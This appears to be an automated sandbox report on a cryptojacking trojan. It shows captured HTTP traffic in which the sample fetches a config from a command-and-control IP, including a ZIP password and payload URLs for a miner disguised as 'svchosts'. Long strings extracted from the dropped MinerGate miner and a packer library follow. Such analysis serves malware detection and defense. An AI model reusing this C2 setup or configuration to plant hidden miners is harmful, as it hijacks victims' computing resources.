locked..x-ms-blob-type: BlockBlob..Date: Thu, 13 Jul 2017 05:02:26 GMT
..Connection: keep-alive..0...0.....0...*.H........0..1.0...U....US1.0
...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1 
0)..U..."Microsoft Windows Verification PCA..151202080000Z..4304180800
00Z.A0?0...U.#..0.......p............<.J0... .....7.......0...U....
..90...*.H..............I...MYp.....yh..$3..F.D....Qe]....~...>.Ye.
h...L.nQ..091.=.G..s.D.........g)...4.'........B....l#....c...e..U....
..Z .[.,.x..h:M~..mS./p..F......l.G.H<.".y.B.5.."\|.Hi`N=j.....;w..
.....o.*......C)....U..3Mt.}......X......H.....|d...s..`.8F.l.......R.
C......<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx+JOp7hVgTeaGFJ/CQgQUljtT8Hkzl699g+8uK8zKt4YecmYCEAzzU2mpcQdiw29oBfyeRdY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: sv.symcd.com


HTTP/1.1 200 OK

Server: nginx/1.10.2

Content-Type: application/ocsp-response

Content-Length: 1611

content-transfer-encoding: binary

Cache-Control: max-age=317785, public, no-transform, must-revalidate

Last-Modified: Sun, 9 Jul 2017 21:17:42 GMT

Expires: Sun, 16 Jul 2017 21:17:42 GMT

Date: Thu, 13 Jul 2017 05:01:34 GMT

Connection: keep-alive
0..G......@0..<.. .....0.....-0..)0..........~..<..HMSH.6.T....2
0170709211742Z0s0q0I0... ...........C%.......`M.....B...;S.y3..}... ..
...rf....Si.q.b.oh...E.....20170709211742Z....20170716211742Z0...*.H..
............!.....-u.....-<mK..Z....I.`.....y[...a'...fS K...r2...P
S...]...;D.>.....wgV.....6xH.-.D...`....Q%..4.j.r..#K./.!.P.T......
w....#.Q."...S._."..cV.i..y.x..S........-...g......).J@.`.oDx.........
..&EN.h..9.......a........./.SQl... .f3T.6.p..:*."...7:..z........p0..
l0..h0..P.......q...O..~.z.d<A..0...*.H........0.1.0...U....US1.0..
.U....Symantec Corporation1.0...U....Symantec Trust Network100...U...'
Symantec Class 3 SHA256 Code Signing CA0...170606000000Z..170904235959
Z0A1?0=..U...6Symantec Class 3 SHA256 Code Signing CA OCSP Responder0.
."0...*.H.............0...........i.......k....J....y.....X.X..I^t).q.
.]y.....Hw.c9.*.P.X...b=....^......tOAC...;'..A"....E..OcL:.s...(.....
.wW.......#x......-g.XtUOG-y.,.x^........h.......b...Q.i.yV.....y.{I.r
.......SQ.V.....d..(.iu..v</.e.....(..S......=5..K.....O.L=........
_p0g.v%..M.........0...0... .....0......0"..U....0...0.1.0...U....TGV-
E-15320...U.#..0....;S.y3..}... .....rf0...U..........~..<..HMSH.6.
T..0...U.......0.0n..U. .g0e0c..`.H...E....0T0&.. .........hXXp://VVV.
symauth.com/cps0*.. .......0...  hXXp://VVV.symauth.com/rpa0...U.%..0.
.. .......0...U...........0...*.H..............-. .....w3...&... ....Q
.g(.V.?0...u.^...n.m'..).p.Ep....u.W.,@..3}]k.._.....c.(.........f`...
O....:%.N..2uv..:..T......L...(...A.\=..._..%B,4y..).%.@..7i....r'<<< skipped >>>

GET /instal/config.txt HTTP/1.1

Host: 37.9.53.162

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 13 Jul 2017 05:07:58 GMT

Content-Type: text/plain

Content-Length: 423

Connection: keep-alive

Last-Modified: Sun, 09 Jul 2017 09:55:37 GMT

ETag: "8a002d-1a7-553df77ddac72"

Accept-Ranges: bytes
<SleepConnect>10<SleepConnect>..<ZIPPasswrod>hy62iy8
fasvdaksdugo2b123onsdfgyi923bffsdf1<ZIPPasswrod>..<URLZip>
hXXp://37.9.53.162/instal/zip.dat<URLZip>....<MainerNameExe&g
t;svchosts<MainerNameExe>..<URLMainer32>hXXp://37.9.53.162
/instal/data32.zip<URLMainer32>..<URLMainer64>hXXp://37.9.
53.162/instal/data64.zip<URLMainer64>..<POOL><POOL>.
.<LOGIN>gankmonk@mail.ru<LOGIN>..<CURRENCY>bcn<CU
RRENCY>..<CPU><CPU>..<GPU>2<GPU>....
..


GET /instal/zip.dat HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 13 Jul 2017 05:07:58 GMT

Content-Type: application/octet-stream.

Content-Length: 279697

Connection: keep-alive

Last-Modified: Sun, 25 Jun 2017 06:26:20 GMT

ETag: "8a0029-44491-552c2e99bfb00"

Accept-Ranges: bytes

Content-Encoding: x-gzip
.............`...0.S....3#.5R.H.52F..K.....0..1.."...sY..i.....>.H.
;...._.n6.!..l.d7wB..$ .r,...lN.......g$._v...A.U.^U.z....:....M.4...}
.4.A.......v..)=..}(.....N......>;.3.....vt..;v...^v.ht....;FO>.
..k........2...k..)]....3U.?...l...,M..v.2p."a.S.n.tkZ...n....XP.u/..^
....?....,.,..=.....ji9..........hL:....j._.......y.,..tw%....F..M.a.M
..V..:...]qM..9I3....wb7...1..&......v.WSZF..=&...];{...`..zPl=....z..
^9.....[>...........?..g.^u.....z..o_s..^w......s~\|.UW........3>
;......?..?.{... ....3~w.....K.[........?...../.......o....i.....x....
..7}.._.~......@........$...4WD..3.4.i......:.... .8..Ep8........8...~
F....6#./.p.Bk.>.,......c...H.)F.>.x..%4.....A/..."...~..9.M....
..v.F.<0.,.l.h).D..M.q..n*.)u.&...hj.@h.O.-(..]..f...-Boe):..lIWY4.
S. ..G.P~b.).C....d.*.e.=...$.p.8\.......:.uL....q........I.E.G%....3[
.E..e`T.\..T..r.7.Bo.J.Dy...4..@.1}.......Ap.(..G..@.L.y..(.....'V./..
.$c....$..}.@.z[..w..L}P.......&f&........Ke....^.....hSJ....?.K%2.~A4
Qn..>...@Nu.......P\...1"&.....bR...R.v.C.}.AeW.......Q...*.C....)$
....N....%......u.....b..H..L..uj....#......y.W..:.d=x.ro.P.....X.Pv..
k>..#[.n=.#..$.....i.......c.."..m.5......!.C.........._...U.p..TP.
.o'...X..b...o...R.o..Y.#..~kI\........uo.@.#.e.n.......K8.;.....C...u
>.w.9..^...(m..E.......vb2B8&.%.).TR...5..]C.;L.(*.....KW.,7.....c.
%.f..Q..Ob.L^4).&%..dI....:..m....v....u4.L.....l_*.B......(..?.ka.vk.
...f[..e.h&aN......|.]'.X....B)..k@...&..<.....~..o.6".Vu....D[!$.T
,.ux...&...<.tHE.....<4;..:).........}.k~....C.["....4n...(i<<< skipped >>>

GET /instal/data32.zip HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 13 Jul 2017 05:07:58 GMT

Content-Type: application/zip

Content-Length: 11008971

Last-Modified: Sun, 02 Jul 2017 03:11:18 GMT

Connection: keep-alive

ETag: "59586456-a7fbcb"

Accept-Ranges: bytes
PK........mn.J................platforms/PK..........8EWZ.K............
platforms/qwindows.dll...!.....4.....$.c.hJ..(..qUF0C.GP......M...g...
U2o.=z7!.....(.*..N.r3uQ=]X..v$..=..D..J}..C......)..{.<1n../.?.<
;..q3).E.....l..o..P.J.^............=..............p.^X...6.a.t.a;....
.A...ePy...J...#..$(6...,.V=...".u..k.........;......b.y@-.Dy.9h...>
;e:..mV.H.x.....]..*J..[...j..7.-..B.....4.;....v..a...O.D.L.IQr5.2...
.:..........:U(...;...%)C]....@Q.-@...q..:.Y.9.=TV".#.....G.YV.......X
.L....;\E.....-.......nz.x..5...o..$...........i...R...O5?....V^:;...,
..D5..4w.b..)....(....Qw7.J.&..&.%..5.p...j.O......o..C[.....q..D...R(
K.._13..I....LA$.n^$.2.......p.TY".G.g.."-.3q.;]..3."}......j..\.G.|.Y
we.[v..n.\>...;d...M...../E4.. .M\..h...Fx}0....L.@M.A.%...>....
...D\K......lNy_...<._.\.f.Z#Jj..~.,.K..d.t..H. ......X..R?X...3_.V
|...Ap..h.&.RMF.]..lb..YT..|W7.v.-..@....q.-...R.=...?.u. .......9 ~ a
`.O.....4.f"...,....[@Ah..}wK.p3.......J6..g=.....F2*..2.Y.......K...&
lt;9x.L. m....~!.~@|..^.~.co.......JiY./.\\......l.7..3"(.^K;..@.H..K.
.......T.d.gH1.....;..y.A...>..?..c..W..p.D?.....;.s.E........XJ...
... .9.Z#0...l....,@..}./..~.S..K..-Qx....i a...........-e...J.Ld!..tK
..0....u.....D........f..g...[...S.>.i5..'Z..6....tn..s.U.X.>;d.
....TVW...!...^.]....N.0.L%...Q........Q.n......i........>..KR.Svh.
U...B..zP.Q..N...a.c.... ..7 .t......J..W..-....9...H..~..*.....m.....
......u..&6%pHK...Q.W.Q....~.....[C...x.~.........K.]..~......G.(.....
....=T..Q.O.k..!Z.RCd..>.R.1..#..k.D...ar6.....G....T....0.[.jY<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

svchosts.exe_3932:

.rsrc

.data

}.SVW

..\..\..\..\sources\miner-console-application\src\main.cpp

minergate-cli [-version] -user <email> [-proxy <url>] -<currency> <threads> [<gpu intensity>] [-<currency> <threads> [<gpu intensity>] ...] [-o <pool> -u <login> [-t <threads>] [-i <gpu intensity>]]

account email from minergate.com

proxy server URL. Supports only socks protocols (for example: socks://192.168.0.1:1080

mining pool URL

mining pool login

minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -bcn 4

minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -xmr 2 -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -t 3 -i 2

minergate-cli -user minergate@minergate.com -bcn 0 2 -fcn xmr 3 -qcn 1

minergate-cli -user minergate@minergate.com -bcn 2 2 -fcn xmr 3 -o stratum tcp://oec.xminingpool.com:7555 -u C5JUSUFJfkbbqpJAcrR7wK7FdzLAwjn52DF3sD2tyH3fgH9x95nAWshapc3JxpsEPoPSvcPNWpwsjRhCuFyA4G9xNiQd4Jt -t 3

minergate-cli -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -i 3

Incorrect proxy URL

Pool login missed

login

.lock

2criticalUpdatesAvailableSignal(QUrl)

httpPort

stratumPort

stratum tcp://%1:%2

minermanager-lock-9637ffb0-bbf9-11e3-a5e2-0800200c9a66

Windows

hXXps://minergate.com

password

Missing password

/api/2.2/auth/login

1loginResp(quint32, QByteArray, QVariant)

Login request URL: %1

..\..\..\..\sources\miner-core\src\serverapi.cpp

JSON error: %s

WrongEmailOrPassword

Error: %s

Balance request URL: %1

Payout request URL: %1

webPageUrl

Login response data: %1

LOGIN response: %1

WebSocket connected successfully!

client.info

WebSocket disconnected

channel:mining.stats.changes

channel:user.profile

workers.statuses

WebSocket message: %1

loginResp

_pool_url

_coin_key

127.0.0.1

--api-port

%1.log

%1://%2:%3

bfgminer.exe

miners.ini

minergate.log

void __thiscall MinerGate::Logger::infoMsg(const class QString &,const class QString &)

..\..\..\..\sources\utils\src\logger.cpp

void __thiscall MinerGate::Logger::warningMsg(const class QString &,const class QString &)

void __thiscall MinerGate::Logger::criticalMsg(const class QString &,const class QString &)

void __thiscall MinerGate::Logger::fatalMsg(const class QString &,const class QString &)

[%1] [%2] %3

yyyy-MM-dd HH:mm:ss.zzz

proxy-url

application/x-www-form-urlencoded

%1:%2:%3:%4

WebSocket API Proxy: %1 %2:%3

/websocket/

https

dev@minergate.com

startCpu

jsonrpc_request_login

jsonrpc_response_login

tryLogin

1login(QVariantMap)

2jsonrpc_response_login(QVariantMap)

1tryLogin()

StratumClient: Login ERROR

Failed to submit share! (msg="%1" id="%2" job_id="%3" nonce="%4" result="%5"), updating job...

Failed to login! (msg="%1"), disconnect and sleep...

Error! (msg="%1" code="%2" method="%3"), disconnect and sleep...

JsonRpc::TcpNetworkEngine

GPU #%d: result for fee nonce $X does not validate on CPU!

GPU #%d: result for nonce $X does not validate on CPU!

q>e%D#

tX4Fr.rh.46Aw-wl-6

.eK9K\9.

C:\Users\user\Documents\projects\minergate.app\build\win32-cli\RelWithDebInfo\minergate-cli.pdb

.?AVTcpNetworkEngine@JsonRpc@@

t44Fr.rh.66Aw-wl-

..eK9K\9

.44Fr.rh-66Aw-wl

9..eK9K\W

h.44Fr.rl-66Aw-w

O\9..eK9K=W

trh.44Fr.wl-66Aw-

K\9..eK9

.rh.44Fr-wl-66Aw

O9K\9..eKW

r.rh.44Fw-wl-66A

tXXFr.rh.44Aw-wl-66

C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu

{ 6;'67'

A.EK)W

.shstrtab

.strtab

.symtab

.text._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.nv.info

.nv.constant0._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.text._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.nv.constant0._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.text._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.constant0._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.constant2

I).rl|

.nv.constant3

g%XTkZ

`zC:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu

H80.Gc

C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_extra.cu

.IILh

..ax$

.QH4y

M%U1.

Yy.iu

Lo7%Dx'J{Hy

Ä[dw

.Tsv2

]QCwEBwE

$3.YuA

%ctcIB

`.eBh.

3I.IY

o.xiK

BÞ\H\

Rk.ae

uY.La

.EYID7

.EYFD7

68(:N.Dn

j`.Eb

.cfyu

njb.EbQ

kb.Eb

kb.EbQ

>|.nJ

,ÿj

%n%f}

H.LU.

Çac

u|.XP

y#.dH

.MP<>

).kB"`

7{w\%f

%SFW$

#%.am

3.%Uz

&u.Er

Z8.amP

HC%Uh~

B.yE4

@.BQ,

%XKxAA<

J.OKL

.WyJt]`a

\.mkE

.GK79Z

>/G:.is

m%Fln

*}.Yn

E.vC.r

i^(.BrD

yAo%f

aK@cRt'

Ez%X$@@<&

*.HoZ

*;.Liuz'

x!C%F:

CCu.oWf

A.Pq<

e.AMgn

%Uq/YG

k%CUr~

_ .Pyy

.bO`Em

mA\.ocR1

.text._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.nv.info._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.nv.shared._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.nv.constant0._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.text._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.constant16._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.constant0._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

hC\%U

.nv.constant2._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

\.UUUU9C

:zq%3u

.LGvS

2O%XF

%%Xx)

>E.mLG

.pHkF`

?;.Ry

.XG6sy

$1"%f%

NdRg4%3X

.VYIT7

k.OlzF

R%Dx2J

m.Sg.S

Og.Se

`%Flu

%sM!v

'c.YN

~,%f}I

,dN.kl/

s.oV?

.akPp

ch-y}

n.AzP

")6%f

IK.Za

%FX_b

hwEB

:>/òZ

=/òZ

M-GS5}

n.Az`

y%Sc}T

L.DG$C

C.Spys

^*.mOs

a^.zO

n.XZXv

K#.XP

=L^X(,@.wB

.gnBEX

û)<

.Aw <%

,X.UI

d^%uQ*

y.xs.

bp>%XqGx

$/.sUc

S%fwa

_-s}!s

@h.GA

9\M%d

(:g".Ey

Hg|%u

)$X%U(yFWu $0

!f9%Dul

hû1d#q

S2w.bH

.WQ._c

T.WQq_a

.CvsQy

~lcL.CCp*

.%U&%

u.LKW]

.uA:S

.vlf'

.GIprl

bF@.mU

O.YLr-

b7.MW*

l@-5}

dgW%C

uo.ps

v.zS?

U.Wzx

7P%9UYp2

')1%DW

JR.Re

*/?;.Qy

5O%XB

?;.Sy

T.BiP

e@.Ja

^uüa

j.DeD@Z

m.Sd$

l.Sb$

|.Sb.S

N%u2b[

NE.SK

5.NXi

.Nw-s

t~ %U

eb.EbQNgK

.hB.=bQ

A}|,%f

eb.EbQ

3RF.kv

gb.EbQ

t!l<mM.ia

5x!~.iy

mM.Ayp'

O,#z!n.ye

d5&7kN.AA

mM.AA

xb%UM

.wZQE

.wZA$

=Zx%S

n.Azpf

AvuDPG

\P6.xW

.XZWC

).kBR

n.Azp

%XLx1

.Wyjt]`e

K5.zvT

G@B%c

d.pB'

%U 4"

.gx/F<

S%f_a

f%6uK

q.TRM

b%Us)

&.MH0

T%6uK*2

.IC2C

<7}%Fl

glQ

E.abh

b6%.Ff

B6'

oA.Zq

.QV$b

.YU!Y

W.WIY

@V%D L

z%s##

"!kEY

vL"-X}i

| |%F

.ls1QO

z%%xk5

.Fb1d#1P

L$.Cfo

n;.Rw

I~%xT

u?%CsaDZs

L%u0L

fL.zL

portP;

G\.Qw

G\.SG

H8.NG

G\%Cg

G\.RG

G\.Zw

H8%D'

(8.PG

G8%FW

6T.Wb

6..Ge

[7.wc

H8.OW

(8@.Gb

6%dG*0

H8.gG*0

H8.jG*0

G\.FWd

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

kernel32.dll

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

comctl32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ole32.dll

!"#$%&*;<=>@[]^_`{|}

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

.Owner

TNT Internal Error: TWideComponentHelper.Create should never be encountered.

w:\3rdparty\TntUnicode\Source\TntClasses.pas

Internal Error: Unexpected format type (%s)

W:\3rdparty\ScreamSec\SecUtils.pas

TCipher.CreateIntf: Algorithm mismatch

TBlockCipher.CreateIntf: Wrong VectorSize

Cipher mode not supported

The vector for %s is %d blocks. Cannot initialize with a %d block vector.

The block size for %s is %d bytes and the key is %d bytes. Cannot initialize with a %d block vector.

The minimum key and IV size for %s is %d bytes.

Not supported

TRijndael_PipedPCFB

Rijndael: Invalid key size - %d

2.16.840.1.101.3.4.1.1

2.16.840.1.101.3.4.1.21

2.16.840.1.101.3.4.1.41

1.3.6.1.4.1.13085.1.22

1.3.6.1.4.1.13085.1.23

1.3.6.1.4.1.13085.1.24

2.16.840.1.101.3.4.1.4

2.16.840.1.101.3.4.1.24

2.16.840.1.101.3.4.1.44

1.3.6.1.4.1.13085.1.7

1.3.6.1.4.1.13085.1.8

1.3.6.1.4.1.13085.1.9

1.3.6.1.4.1.13085.1.4

1.3.6.1.4.1.13085.1.5

1.3.6.1.4.1.13085.1.6

1.3.6.1.4.1.13085.1.10

1.3.6.1.4.1.13085.1.11

1.3.6.1.4.1.13085.1.12

1.3.6.1.4.1.13085.1.1

1.3.6.1.4.1.13085.1.2

1.3.6.1.4.1.13085.1.3

1.3.6.1.4.1.13085.1.16

1.3.6.1.4.1.13085.1.17

1.3.6.1.4.1.13085.1.18

2.16.840.1.101.3.4.1.2

2.16.840.1.101.3.4.1.22

2.16.840.1.101.3.4.1.42

1.3.6.1.4.1.13085.1.19

1.3.6.1.4.1.13085.1.20

1.3.6.1.4.1.13085.1.21

2.16.840.1.101.3.4.1.3

2.16.840.1.101.3.4.1.23

2.16.840.1.101.3.4.1.43

2.16.840.1.101.3.4.1.5

2.16.840.1.101.3.4.1.25

2.16.840.1.101.3.4.1.45

/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */

TGenerator.Create: Cipher mode must be cmCTR.

TMPPool.CheckThreadID: Called from the wrong thread.

TMPPool.Cache: Invalid pointer

TMPPool.Obtain: Out of memory

TMPPool.InternalCheck: Invalid pointer

Portugal

Turkey

TKeyVerifyParams

12345678-

EP_RegCheckKey

EP_RegCheckKeyA

EP_RegCheckKeyW

EP_RegSaveKey

EP_RegSaveKeyA

EP_RegSaveKeyW

EP_RegLoadKey

EP_RegLoadKeyA

EP_RegLoadKeyW

EP_RegLoadAndCheckKey

EP_RegCheckAndSaveKey

EP_RegCheckAndSaveKeyA

EP_RegCheckAndSaveKeyW

EP_RegDeleteKey

EP_RegKeyExpirationDate

EP_RegKeyExpirationDateEx

EP_RegKeyCreationDate

EP_RegKeyCreationDateEx

EP_RegKeyExecutions

EP_RegKeyExecutionsTotal

EP_RegKeyExecutionsLeft

EP_RegKeyDays

EP_RegKeyDaysTotal

EP_RegKeyDaysLeft

EP_RegKeyRuntime

EP_RegKeyRuntimeTotal

EP_RegKeyRuntimeLeft

EP_RegKeyGlobalTime

EP_RegKeyGlobalTimeTotal

EP_RegKeyGlobalTimeLeft

EP_RegKeyRegisterAfterDate

EP_RegKeyRegisterAfterDateEx

EP_RegKeyRegisterBeforeDate

EP_RegKeyRegisterBeforeDateEx

EP_TrialExecutions

EP_TrialExecutionsTotal

EP_TrialExecutionsLeft

EP_TrialExecutionTime

EP_TrialExecutionTimeTotal

EP_TrialExecutionTimeLeft

EP_RegCheckKeyEx

EP_RegSaveKeyEx

EP_RegLoadKeyEx

EP_CheckUpStartupPasswordHashString

EP_ProtectedStringByKey

EP_RegKeyInformation

EP_RegKeyInformationA

EP_RegKeyInformationW

EP_RegKeyStatus

Windows 95

WIN_VER_WINDOWS95

Windows 95 OSR2

WIN_VER_WINDOWS95OSR2

Windows 98

WIN_VER_WINDOWS98

Windows 98 SE

WIN_VER_WINDOWS98SE

Windows ME

WIN_VER_WINDOWSME

Windows 2000

WIN_VER_WINDOWS2000

Windows 2000 Professional

WIN_VER_WINDOWS2000PROF

Windows 2000 Data Server

WIN_VER_WINDOWS2000DATASERVER

Windows 2000 Advanced Server

WIN_VER_WINDOWS2000ADVSERVER

Windows 2000 Server

WIN_VER_WINDOWS2000SERVER

Windows XP

WIN_VER_WINDOWSXP

Windows XP Home

WIN_VER_WINDOWSXPHOME

Windows XP Professional

WIN_VER_WINDOWSXPPROF

Windows XP Professional x64

WIN_VER_WINDOWSXPPROFx64

Windows XP Professional Datacenter x64

WIN_VER_WINDOWSXPPROFDATACENTERx64

Windows XP Professional Enterprise x64

WIN_VER_WINDOWSXPPROFENERPRICEx64

Windows XP Professional Standart x64

WIN_VER_WINDOWSXPPROFSTANDARTx64

Windows 2003

Windows 2003 Server

WIN_VER_WINDOWS2003SERVER

Windows 2003 Server R2

WIN_VER_WINDOWS2003SERVERR2

Windows 2003 Storage Server

WIN_VER_WINDOWS2003STORAGESERVER

Windows 2003 Datacenter Itanium

WIN_VER_WINDOWS2003DATACENTERITANIUM

Windows 2003 Enterprise Itanium

WIN_VER_WINDOWS2003ENTERPRICEITANIUM

Windows 2003 Datacenter x64

WIN_VER_WINDOWS2003DATACENTERx64

Windows 2003 Enterprise x64

WIN_VER_WINDOWS2003ENERPRICEx64

Windows 2003 Standart x64

WIN_VER_WINDOWS2003STANDARTx64

Windows 2003 Compute

WIN_VER_WINDOWS2003COMPUTE

Windows 2003 Datacenter

WIN_VER_WINDOWS2003DATACENTER

Windows 2003 Enterprise

WIN_VER_WINDOWS2003ENTERPRICE

Windows 2003 Web

WIN_VER_WINDOWS2003WEB

Windows 2003 Standart

WIN_VER_WINDOWS2003STANDART

Windows Vista

WIN_VER_WINDOWSVISTA

Windows Vista Business

WIN_VER_WINDOWSVISTA_BUSINESS

Windows Vista Cluster Server

WIN_VER_WINDOWSVISTA_CLUSTER_SERVER

Windows Vista Datacenter Server

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER

Windows Vista Datacenter Server Core

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE

Windows Vista Datacenter Server Core V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE_V

Windows Vista Datacenter Server V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_V

Windows Vista Enterprise

WIN_VER_WINDOWSVISTA_ENTERPRICE

Windows Vista Enterprise Server

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER

Windows Vista Enterprise Server Core

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE

Windows Vista Enterprise Server V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_V

Windows Vista Enterprise Server Core V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE_V

Windows Vista Enterprise Server IA64

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_IA64

Windows Vista Home Basic

WIN_VER_WINDOWSVISTA_HOME_BASIC

Windows Vista Home Premium

WIN_VER_WINDOWSVISTA_HOME_PREMIUM

Windows Vista Home Server

WIN_VER_WINDOWSVISTA_HOME_SERVER

Windows Vista Server For Small Business

WIN_VER_WINDOWSVISTA_SERVER_FOR_SMALLBUSINESS

Windows Vista Small Business Server

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER

Windows Vista Small Business Server Premium

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER_PREMIUM

Windows Vista Medium Business Server Management

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows Vista Medium Business Server Messaging

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MESSAGING

Windows Vista Medium Business Server Security

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_SECURITY

Windows Vista Standard Server

WIN_VER_WINDOWSVISTA_STANDARD_SERVER

Windows Vista Standard Server V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_V

Windows Vista Standard Server Core

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE

Windows Vista Standard Server Core V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE_V

Windows Vista Starter

WIN_VER_WINDOWSVISTA_STARTER

Windows Vista Storage Enterprise Server

WIN_VER_WINDOWSVISTA_STORAGE_ENTERPRISE_SERVER

Windows Vista Storage Express Server

WIN_VER_WINDOWSVISTA_STORAGE_EXPRESS_SERVER

Windows Vista Storage Standard Server

WIN_VER_WINDOWSVISTA_STORAGE_STANDARD_SERVER

Windows Vista Storage Workgroup Server

WIN_VER_WINDOWSVISTA_STORAGE_WORKGROUP_SERVER

Windows Vista Undefined

WIN_VER_WINDOWSVISTA_UNDEFINED

Windows Vista Ultimate

WIN_VER_WINDOWSVISTA_ULTIMATE

Windows Vista Web Server

WIN_VER_WINDOWSVISTA_WEB_SERVER

Windows Vista Web Server Core

WIN_VER_WINDOWSVISTA_WEB_SERVER_CORE

Windows Vista Unlicensed

WIN_VER_WINDOWSVISTA_UNLICENSED

Windows 2008

WIN_VER_WINDOWS2008

Windows 2008 Business

WIN_VER_WINDOWS2008_BUSINESS

Windows 2008 Cluster Server

WIN_VER_WINDOWS2008_CLUSTER_SERVER

Windows 2008 Datacenter Server

WIN_VER_WINDOWS2008_DATACENTER_SERVER

Windows 2008 Datacenter Server Core

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE

Windows 2008 Datacenter Server Core V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE_V

Windows 2008 Datacenter Server V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_V

Windows 2008 Enterprise

WIN_VER_WINDOWS2008_ENTERPRICE

Windows 2008 Enterprise Server

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER

Windows 2008 Enterprise Server Core

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE

Windows 2008 Enterprise Server V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_V

Windows 2008 Enterprise Server Core V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE_V

Windows 2008 Enterprise Server IA64

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_IA64

Windows 2008 Home Basic

WIN_VER_WINDOWS2008_HOME_BASIC

Windows 2008 Home Premium

WIN_VER_WINDOWS2008_HOME_PREMIUM

Windows 2008 Home Server

WIN_VER_WINDOWS2008_HOME_SERVER

Windows 2008 Server For Small Business

WIN_VER_WINDOWS2008_SERVER_FOR_SMALLBUSINESS

Windows 2008 Small Business Server

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER

Windows 2008 Small Business Server Premium

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 Medium Business Server Management

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 Medium Business Server Messaging

